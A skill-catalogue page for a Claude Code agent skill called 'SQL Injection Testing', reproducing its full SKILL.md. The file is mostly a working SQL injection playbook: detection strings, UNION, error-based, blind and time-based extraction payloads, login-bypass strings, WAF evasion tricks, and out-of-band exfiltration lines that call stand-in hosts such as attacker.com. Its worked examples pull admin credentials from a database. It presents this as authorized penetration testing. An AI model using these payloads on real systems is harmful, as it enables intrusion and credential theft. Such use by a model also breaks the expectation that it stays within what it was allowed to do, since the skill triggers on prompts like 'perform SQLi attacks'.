Agent skill

SQL Injection Testing

by zebbern in zebbern/claude-code-guide

This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through…

MITAuto-check passedSecurity

Install SQL Injection Testing

skills CLI
$ npx skills add zebbern/claude-code-guide --skill sql-injection-testing -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install zebbern/claude-code-guide sql-injection-testing --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/zebbern/claude-code-guide.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/sql-injection-testing .claude/skills/sql-injection-testing && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
sql-injection-testing
GitHub stars
4.6k
Used in
4 other repos
Token cost
~2.9k tokens
SKILL.md length
677 words
Files
1
Skills in repo
46
Repo updated
First seen
Licence
MIT

At a glance

This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through…

  • Works in 4 steps: Detection and Reconnaissance → Exploitation Techniques → Authentication Bypass → …
  • Asks to test for SQL injection vulnerabilities
  • SKILL.md covers Purpose, Inputs / Prerequisites, Outputs / Deliverables and Core Workflow, plus 4 more sections
  • Instructions only: no scripts, shell commands, URLs or credentials in SKILL.md

What it does

SQL Injection Testing is an agent skill from zebbern/claude-code-guide. This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.

Its SKILL.md is about 2.9k tokens, which your agent loads only when the skill is triggered. It is a single SKILL.md file with no bundled scripts.

It sits in Security, covering Web application vulnerabilities and Penetration testing. The repository describes itself as: Claude Code Guide - Setup, Commands, workflows, agents, skills & tips-n-tricks from beginner to power user! The licence is MIT.

When your agent uses it

  • Asks to test for SQL injection vulnerabilities
  • Perform SQLi attacks
  • Bypass authentication using SQL injection
  • Extract database information through injection

Example prompts

  • “test for SQL injection vulnerabilities”
  • “perform SQLi attacks”
  • “bypass authentication using SQL injection”
  • “/sql-injection-testing”

Workflow steps

4 steps, taken from the step headings in SKILL.md.

  1. Detection and Reconnaissance
  2. Exploitation Techniques
  3. Authentication Bypass
  4. Filter Bypass Techniques

What it can do on your machine

Read from SKILL.md and the folder at commit 4698e3b. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    No scripts in the folder and no shell commands in SKILL.md (its code samples are sql).

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    No URLs in SKILL.md.

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

SQL Injection Testing loads about 2.9k tokens when it runs. Until then it costs about 113 tokens; SKILL.md has 677 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~113
When it runs · the whole SKILL.md, loaded when a task matches
~2.9k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from zebbern/claude-code-guide at commit 4698e3b, republished under its MIT licence (© zebbern). 677 words, ~2,861 tokens.

Download SKILL.mdSave it as .claude/skills/sql-injection-testing/SKILL.md (or your agent's skills folder).
name
sql-injection-testing
description
This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.
metadata.author
zebbern
metadata.version
1.1

SQL Injection Testing

Purpose

Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.

Inputs / Prerequisites

Required Access
  • Target web application URL with injectable parameters
  • Burp Suite or equivalent proxy tool for request manipulation
  • SQLMap installation for automated exploitation
  • Browser with developer tools enabled
Technical Requirements
  • Understanding of SQL query syntax (MySQL, MSSQL, PostgreSQL, Oracle)
  • Knowledge of HTTP request/response cycle
  • Familiarity with database schemas and structures
  • Write permissions for testing reports
  • Written authorization for penetration testing
  • Defined scope including target URLs and parameters
  • Emergency contact procedures established
  • Data handling agreements in place

Outputs / Deliverables

Primary Outputs
  • SQL injection vulnerability report with severity ratings
  • Extracted database schemas and table structures
  • Authentication bypass proof-of-concept demonstrations
  • Remediation recommendations with code examples
Evidence Artifacts
  • Screenshots of successful injections
  • HTTP request/response logs
  • Database dumps (sanitized)
  • Payload documentation

Core Workflow

Phase 1: Detection and Reconnaissance
Identify Injectable Parameters

Locate user-controlled input fields that interact with database queries:

# Common injection points
- URL parameters: ?id=1, ?user=admin, ?category=books
- Form fields: username, password, search, comments
- Cookie values: session_id, user_preference
- HTTP headers: User-Agent, Referer, X-Forwarded-For
Test for Basic Vulnerability Indicators

Insert special characters to trigger error responses:

sql
-- Single quote test
'

-- Double quote test
"

-- Comment sequences
--
#
/**/

-- Semicolon for query stacking
;

-- Parentheses
)

Monitor application responses for:

  • Database error messages revealing query structure
  • Unexpected application behavior changes
  • HTTP 500 Internal Server errors
  • Modified response content or length
Logic Testing Payloads

Verify boolean-based vulnerability presence:

sql
-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--

-- False condition tests  
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2--

Compare responses between true and false conditions to confirm injection capability.

Phase 2: Exploitation Techniques
UNION-Based Extraction

Combine attacker-controlled SELECT statements with original query:

sql
-- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs

-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--

-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
Error-Based Extraction

Force database errors that leak information:

sql
-- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--

-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--

-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)--
Blind Boolean-Based Extraction

Infer data through application behavior changes:

sql
-- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--
Time-Based Blind Extraction

Use database sleep functions for confirmation:

sql
-- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--

-- MSSQL
1'; WAITFOR DELAY '0:0:5'--

-- PostgreSQL
1'; SELECT pg_sleep(5)--
Out-of-Band (OOB) Extraction

Exfiltrate data through external channels:

sql
-- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--

-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--

-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual--
Phase 3: Authentication Bypass
Login Form Exploitation

Craft payloads to bypass credential verification:

sql
-- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--

-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2

Query transformation example:

sql
-- Original query
SELECT * FROM users WHERE username='input' AND password='input'

-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed via comment
Phase 4: Filter Bypass Techniques
Character Encoding Bypass

When special characters are blocked:

sql
-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)

-- Double URL encoding
%2527 (single quote)

-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)

-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E  -- 'admin' in hex
Whitespace Bypass

Substitute blocked spaces:

sql
-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users

-- Alternative whitespace
SELECT%09username%09FROM%09users  -- Tab character
SELECT%0Ausername%0AFROM%0Ausers  -- Newline
Keyword Bypass

Evade blacklisted SQL keywords:

sql
-- Case variation
SeLeCt, sElEcT, SELECT

-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION

-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION

-- Null byte injection
%00SELECT
SEL%00ECT

Quick Reference

Detection Test Sequence
1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay
Database Fingerprinting
sql
-- MySQL
SELECT @@version
SELECT version()

-- MSSQL
SELECT @@version
SELECT @@servername

-- PostgreSQL
SELECT version()

-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version
Information Schema Queries
sql
-- MySQL/MSSQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()

-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'

-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
Common Payloads Quick List
PurposePayload
Basic test' or "
Boolean trueOR 1=1--
Boolean falseAND 1=2--
Comment (MySQL)# or --
Comment (MSSQL)--
UNION probeUNION SELECT NULL--
Time delayAND SLEEP(5)--
Auth bypass' OR '1'='1

Constraints and Guardrails

Operational Boundaries
  • Never execute destructive queries (DROP, DELETE, TRUNCATE) without explicit authorization
  • Limit data extraction to proof-of-concept quantities
  • Avoid denial-of-service through resource-intensive queries
  • Stop immediately upon detecting production database with real user data
Show full SKILL.md (267 more words)Show less
Technical Limitations
  • WAF/IPS may block common payloads requiring evasion techniques
  • Parameterized queries prevent standard injection
  • Some blind injection requires extensive requests (rate limiting concerns)
  • Second-order injection requires understanding of data flow
  • Written scope agreement must exist before testing
  • Document all extracted data and handle per data protection requirements
  • Report critical vulnerabilities immediately through agreed channels
  • Never access data beyond scope requirements

Examples

Example 1: E-commerce Product Page SQLi

Scenario: Testing product display page with ID parameter

Initial Request:

GET /product.php?id=5 HTTP/1.1

Detection Test:

GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near ''' 

Column Enumeration:

GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)

Data Extraction:

GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentials
Example 2: Blind Time-Based Extraction

Scenario: No visible output, testing for blind injection

Confirm Vulnerability:

sql
id=5' AND SLEEP(5)-- 
-- Response delayed by 5 seconds (vulnerable confirmed)

Extract Database Name Length:

sql
id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 characters

Extract Characters:

sql
id=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'
Example 3: Login Bypass

Target: Admin login form

Standard Login Query:

sql
SELECT * FROM users WHERE username='[input]' AND password='[input]'

Injection Payload:

Username: administrator'--
Password: anything

Resulting Query:

sql
SELECT * FROM users WHERE username='administrator'--' AND password='anything'

Result: Password check bypassed, authenticated as administrator.

Troubleshooting

No Error Messages Displayed
  • Application uses generic error handling
  • Switch to blind injection techniques (boolean or time-based)
  • Monitor response length differences instead of content
UNION Injection Fails
  • Column count may be incorrect → Test with ORDER BY
  • Data types may mismatch → Use NULL for all columns first
  • Results may not display → Find injectable column positions
WAF Blocking Requests
  • Use encoding techniques (URL, hex, unicode)
  • Insert inline comments within keywords
  • Try alternative syntax for same operations
  • Fragment payload across multiple parameters
Payload Not Executing
  • Verify correct comment syntax for database type
  • Check if application uses parameterized queries
  • Confirm input reaches SQL query (not filtered client-side)
  • Test different injection points (headers, cookies)
Time-Based Injection Inconsistent
  • Network latency may cause false positives
  • Use longer delays (10+ seconds) for clarity
  • Run multiple tests to confirm pattern
  • Consider server-side caching effects

© zebbern, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in skills/sql-injection-testing of zebbern/claude-code-guide.

Open the folder on GitHubat commit 4698e3b

Used in 4 other repositories

We found 4 copies of this SKILL.md (exact, near-identical or edited) in other folders, from 4 other GitHub owners. This page covers the copy in zebbern/claude-code-guide, which our catalogue first saw on October 7, 2026.

Compare with similar skills

SQL Injection Testing next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

SQL Injection Testing compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
SQL Injection Testing this skillzebbern/claude-code-guide4.6k4 repos~2.9kAutomated safety check: PassMIT
Strix Code Vulnerability Scanusestrix/strix67k—~1.1kAutomated safety check: PassApache-2.0
Code Audit3stoneBrother/code-audit8931 repos~2.7kAutomated safety check: PassNone
Fix Strix Security Findingsusestrix/strix67k—~1.5kAutomated safety check: PassApache-2.0
Wooyun Legacytanweai/wooyun-legacy1.8k—~1.9kAutomated safety check: PassCustom licence
OWASP Top 10 Testing with Strixusestrix/strix67k—~1.6kAutomated safety check: PassApache-2.0

Similar skills

  • Runs a Strix white-box security review that reads the source, then exploits what it finds in a sandbox so each reported issue has a proof-of-concept.

    67k GitHub stars~1.1k tokensUpdated today
    SecurityAuto-check passed
  • Code Audit

    3stoneBrother/code-audit

    Professional code security audit skill covering 55+ vulnerability types.

    893 GitHub starsUsed in 1 repo~2.7k tokens
    SecurityAuto-check passed
  • Triages findings from a Strix pentest by severity, fixes each root cause with a minimal change, and re-runs Strix to confirm the exploit no longer works.

    67k GitHub stars~1.5k tokensUpdated today
    SecurityAuto-check passed
  • Wooyun Legacy

    tanweai/wooyun-legacy

    WooYun business logic vulnerability methodology — 22,132 real cases across 6 domains (authentication bypass, authorization bypass, payment tampering, information disclosure, logic flaws…

    1.8k GitHub stars~1.9k tokensUpdated 2 mo ago
    SecurityAuto-check passed
  • Runs Strix's autonomous exploit agents against each OWASP Top 10:2025 category and the API Security Top 10, reporting only what could actually be proven with a proof-of-concept.

    67k GitHub stars~1.6k tokensUpdated today
    SecurityAuto-check passed
  • Client Request Signature Reversal

    awarexone/Agentic-Bug-Hunter

    Recovers a client-side request signature or anti-bot token just far enough to replay blocked requests in bug bounty testing, starting from a captured packet.

    5.3k GitHub stars~4.7k tokensUpdated 2 days ago
    SecurityAuto-check passed

More from zebbern/claude-code-guide

All 46 skills in this repo
  • Localization Toolkit

    zebbern/claude-code-guide

    This skill should be used when setting up, auditing, or enforcing internationalization/localization in UI codebases (React/TS, i18next or similar, JSON locales), including installing/configuring the…

    4.6k GitHub starsUsed in 1 repo~1.3k tokens
    Auto-check passed
  • Audit Flow

    zebbern/claude-code-guide

    Interactive system flow tracing across CODE, API, AUTH, DATA, NETWORK layers with SQLite persistence and Mermaid export.

    4.6k GitHub stars~4.2k tokensUpdated today
    Auto-check passed
  • Chart Image

    zebbern/claude-code-guide

    Generate publication-quality PNG chart images from data, supporting line, bar, area, candlestick, pie, and heatmap charts.

    4.6k GitHub stars~2.7k tokensUpdated today
    Auto-check passed
  • Code To Diagram

    zebbern/claude-code-guide

    Analyze codebases and automatically generate architecture diagrams, flowcharts, and org charts.

    4.6k GitHub stars~972 tokensUpdated today
    Auto-check passed
  • Code Vuln Audit

    zebbern/claude-code-guide

    Scan code for security issues: dependency vulnerabilities (npm/pip audit), secret leaks (regex and entropy analysis), and OWASP anti-patterns like SQL injection, XSS, or command injection.

    4.6k GitHub stars~1.3k tokensUpdated today
    Auto-check passed
  • Data Viz Renderer

    zebbern/claude-code-guide

    Generate self-contained HTML/SVG infographics from JSON data, including stat cards, bar charts, flow diagrams, and mixed dashboards.

    4.6k GitHub stars~1.3k tokensUpdated today
    Auto-check passed

Categories

Questions about SQL Injection Testing

What does SQL Injection Testing do?

This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through…. SQL Injection Testing is an agent skill from zebbern/claude-code-guide. This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities".

When should I use SQL Injection Testing?

SQL Injection Testing fits situations like: asks to test for SQL injection vulnerabilities; perform SQLi attacks; bypass authentication using SQL injection; extract database information through injection.

How do I install SQL Injection Testing in Claude Code?

Run `npx skills add zebbern/claude-code-guide --skill sql-injection-testing -a claude-code`. Or copy the skill folder (skills/sql-injection-testing in zebbern/claude-code-guide) into .claude/skills/sql-injection-testing in your project. Claude Code loads it when a task matches its description.

How do I install SQL Injection Testing in Codex?

Run `npx skills add zebbern/claude-code-guide --skill sql-injection-testing -a codex`. Or copy the skill folder (skills/sql-injection-testing in zebbern/claude-code-guide) into .agents/skills/sql-injection-testing in your project. Codex loads it when a task matches its description.

Can I use SQL Injection Testing in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add zebbern/claude-code-guide --skill sql-injection-testing -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/sql-injection-testing, .gemini/skills/sql-injection-testing, .github/skills/sql-injection-testing and .opencode/skills/sql-injection-testing in your project.

What does SQL Injection Testing need to run?

SKILL.md names no scripts, command-line tools or credentials: SQL Injection Testing is instructions for the agent only.

Does SQL Injection Testing access the network?

SKILL.md contains no URLs. Any network use would come from the scripts or tools the agent runs. This is read from the text; nothing was executed.

Is SQL Injection Testing safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.

What licence does SQL Injection Testing use?

SQL Injection Testing is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does SQL Injection Testing use?

About 2.9k tokens (SKILL.md is roughly 11k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to SQL Injection Testing?

Skills that share tags, products or a category with SQL Injection Testing: Strix Code Vulnerability Scan (usestrix/strix, 67k stars), Code Audit (3stoneBrother/code-audit, 893 stars), Fix Strix Security Findings (usestrix/strix, 67k stars) and Wooyun Legacy (tanweai/wooyun-legacy, 1.8k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains SQL Injection Testing?

zebbern (a GitHub user) maintains it in zebbern/claude-code-guide, which has 4,648 GitHub stars. The repository holds 46 skills in this directory. The repository was last updated on October 7, 2026.

Source: zebbern/claude-code-guide on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.